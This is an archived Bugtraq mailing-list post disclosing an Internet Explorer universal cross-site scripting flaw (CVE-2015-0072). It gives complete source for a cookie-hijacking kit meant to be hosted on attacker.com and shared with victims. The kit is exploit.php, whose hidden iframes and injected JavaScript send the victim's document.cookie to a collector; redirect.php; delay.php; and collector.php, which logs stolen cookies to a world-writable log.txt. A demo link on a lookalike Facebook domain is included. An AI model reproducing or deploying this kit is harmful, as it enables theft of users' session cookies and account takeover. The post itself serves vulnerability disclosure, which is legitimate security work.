bugtraq - Cookie hijacking: Internet Explorer UXSS (CVE-2015-0072)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201502090905.t1995ZKo020845@sf01web2.securityfocus.com>
Date: Mon, 9 Feb 2015 09:05:35 GMT
From: bhdresh@...il.com
To: bugtraq@...urityfocus.com
Subject: Cookie hijacking: Internet Explorer UXSS (CVE-2015-0072)

Cookie hijacking: Internet Explorer UXSS (CVE-2015-0072)

Host below files on webserver (attacker.com) and share the exploit link with victims,

exploit.php --- exploit link (Share with victim)

redirect.php --- Script to redirect on target page (target page should not contain X-Frame-Options or it will fail)

delay.php --- Script to add delay

collector.php --- Script to collect hijacked cookie

log.txt --- Collected cookies will be stored in this text file

-------------------------------------exploit.php-----------------------------------
<iframe src="redirect.php" style="display:none"></iframe>
<iframe src="https://target.com/" style="display:none"></iframe>
<script>
    top[0].eval('_=top[1];with(new XMLHttpRequest)open("get","http://attacker.com/delay.php",false),send();_.location="javascript:bkp=\'http://attacker.com/collector.php?\'+document.cookie;alert(bkp);window.location(bkp);"');
</script>
--------------------------------------------------------------------------------------

-------------------------------------redirect.php-----------------------------------
<?php 
header("Location: https://target.com/"); 
exit(); 
?>
--------------------------------------------------------------------------------------

-------------------------------------delay.php-----------------------------------
<?php 
sleep(15); 
echo 'Bhdresh'; 
exit(); 
?>
--------------------------------------------------------------------------------------

-------------------------------------collector.php-----------------------------------
<?php 
$f = fopen("log.txt", 'a'); 
fwrite($f, $_SERVER["REQUEST_URI"]."\n"); 
fclose($f); 
header("Location: http://www.youtube.com/");
?>

--------------------------------------------------------------------------------------

-------------------------------------log.txt-----------------------------------
- Create a file as log.txt and modify the permissions (chmod 777 log.txt)
--------------------------------------------------------------------------------------
Demo: facabook.net16.net/exploit.php
Reference: http://innerht.ml/blog/ie-uxss.html